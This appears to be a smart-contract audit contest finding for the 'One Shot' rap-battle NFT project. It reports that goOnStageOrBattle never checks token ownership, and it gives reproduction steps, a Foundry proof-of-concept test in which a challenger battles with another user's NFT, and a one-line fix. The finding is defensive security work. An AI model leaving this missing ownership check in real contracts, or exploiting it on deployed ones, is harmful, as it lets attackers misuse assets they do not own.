First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The `RapBattle::goOnStageOrBattle` function is missing check for the `_tokenId` provided actually owned by the `msg.sender`, making its possible for challenger to use any Rapper NFT

farismaulana

Description: for defender rapper perspective it is not needed to check if the msg.sender have the _tokenId provided because at the end of function call the required NFT is sent out to the contract. But for the challenger, they can use any _tokenId as it does not have check if the challenger actually own the NFT.

Impact: defender role have great disadvantage for winning because challenger can use any _tokenId with high skill and make higher chance of winning

Proof of Concept:

  1. Alice mint _tokenId = 0

  2. Alice call goOnStageOrBattle function and got the defender role

  3. Bob mint _tokenId = 1

  4. Bob call Streets::stake function for 4 days then unstake his NFT rapper

  5. Slim Shady call goOnStageOrBattle using Bob's high skilled rapper _tokenId = 1

  6. Alice have high chance of losing

Proof of Code

add this to the OneShotTest.t.sol:

function testBattleUsingOthersNFT(uint256 randomBlock) public {
address bob = makeAddr("bob");
​
// Alice the Defender
vm.startPrank(user);
oneShot.mintRapper(); // _tokenId = 0
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
vm.stopPrank();
​
// Bob the Staker
vm.startPrank(bob);
oneShot.mintRapper(); // _tokenId = 1
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.warp(4 days + 1);
streets.unstake(1);
vm.stopPrank();
​
// Slim Shady the Challenger, he does not have any NFT
vm.startPrank(challenger);
// Change the block number so we get different RNG
vm.roll(randomBlock);
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, 0);
vm.stopPrank();
​
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
console.log("[*] the winner is", winner);
assert(address(challenger) == winner);
}

The test result indicate that Slim Shady the Challenger wins even though he using Bob NFT

Recommended Mitigation:
Make sure that RapBattle::goOnStageOrBattle check if the msg.sender actually own the _tokenId used.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(msg.sender == oneShotNft.ownerOf(_tokenId), "Sender not the token Id owner");
if (defender == address(0)) {
defender = msg.sender;
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!